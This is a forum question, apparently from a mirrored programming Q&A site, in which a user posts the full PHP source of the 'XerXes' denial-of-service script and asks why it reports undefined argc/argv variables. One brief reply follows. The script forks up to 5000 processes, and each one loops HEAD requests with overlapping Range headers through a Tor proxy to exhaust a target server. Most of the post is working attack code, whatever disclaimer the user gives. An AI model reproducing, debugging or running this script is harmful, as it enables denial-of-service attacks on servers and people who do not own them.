0

I have recently gotten into DOS attack scripts (How to use them and how to defend from them) and picked up this one called XerXes. I noticed that this has been coded in two different languages .c and .php and I have both. I can get the .c one to work perfectly but not the .php one as I get this error :

Notice: Undefined variable: argc in C:\xampp\htdocs\XerXes.php on line 73

Notice: Undefined variable: argv in C:\xampp\htdocs\XerXes.php on line 73

Here is the script:

<?php
function usage($argv) {
print "Usage: php ./{$argv[0]} <number of processes> <url>\n";
die();
}

function head($url) {
while(true) {

    $header[]     = "Connection: keep-alive";
    $header[]    = "Transfer-Encoding: chunked";
    $header[]    = "Range: bytes=0-,<SNIP>,1-1299";   //Sniped for site because it is BIG
    $header[]    = "Accept-Encoding: gzip, deflate, compress";

    $ch         = curl_init(); 
    curl_setopt($ch, CURLOPT_URL, $url); 
    curl_setopt($ch, CURLOPT_NOBODY, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_VERBOSE, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);     
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
    curl_setopt($ch, CURLINFO_HEADER_OUT, false);
    curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:9050");
    curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    while(true) {
        echo '.';
        curl_setopt($ch, CURLOPT_USERAGENT, "XerXeS Attack Platform - 0wn3d bitch. TANGO DOWN (+http://th3j35t3r.wordpress.com/)");
        curl_exec($ch);    
    }        
    curl_close($ch);
}
}

function main($argc, $argv) {

$status = 1;

if ($argc < 3) {
  usage($argv);
}

if($argv[1] > 5001) {
    echo "MAX OF 5000 threads\n\n";
    die();
}

$pids = Array();
echo "URL: ".$argv[2]."\n";
for ($i = 0; $i < $argv[1]; $i++) {
  $pid = pcntl_fork();

  if ($pid == -1) {
die("ERROR");
  }
  else if ($pid == 0) {
        head($argv[2]);
     exit(0);
  }
  else {
$pids[] = $pid;
      }
    }

foreach ($pids as $pid) {
  pcntl_waitpid($pid, $status);
}

}

main($argc, $argv);  //Errors :(
?>

Any help to resolve this error is appreciated.

PLEASE NOTE: I do not use these codes for attacking servers other than my own for security purposes and how to defend against them. I DO NOT RECOMMEND ANY ONE DDOSing or DOSing.

4

1 回答 1

0

你永远不会定义这两个变量。你想传递给main()函数什么?

于 2013-04-12T14:05:10.320 回答